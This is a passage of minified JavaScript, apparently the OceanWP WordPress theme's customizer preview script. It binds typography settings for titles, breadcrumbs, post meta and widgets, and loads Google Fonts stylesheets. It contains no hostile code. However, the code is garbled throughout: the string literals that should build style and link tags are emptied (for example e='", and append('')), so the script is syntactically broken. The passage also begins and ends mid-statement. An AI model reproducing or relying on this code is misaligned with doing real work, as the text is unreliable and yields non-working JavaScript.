o=i(".customizer-typography-page_title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("page_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-page_subheading-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-page_subheading-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("page_subheading_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("page_subheading_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-page_subheading-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-breadcrumbs-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-breadcrumbs-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("breadcrumbs_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("breadcrumbs_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-breadcrumbs-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-blog_entry_title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-blog_entry_title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("blog_entry_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_entry_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_entry_title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-blog_post_title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-blog_post_title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("blog_post_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("blog_post_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-blog_post_title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-single_post_title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-single_post_title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("single_post_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-single_post_meta-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-single_post_meta-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("single_post_meta_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_meta_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_meta-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-single_post_title_author-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-single_post_title_author-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("single_post_title_author_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-single_post_title_author_bio-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-single_post_title_author_bio-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("single_post_title_author_bio_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("single_post_title_author_bio_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-single_post_title_author_bio-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-sidebar_widget_title-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-sidebar_widget_title-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("sidebar_widget_title_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_tablet_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-tablet-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_mobile_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-mobile-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_tablet_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-tablet-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_mobile_typography[letter-spacing]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-mobile-letter-spacing");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("sidebar_widget_title_typography[text-transform]",function(e){e.bind(function(e){var t=i(".customizer-typography-sidebar_widget_title-text-transform");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("widgets_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-widgets-font-family",o=(o=e.replace(" 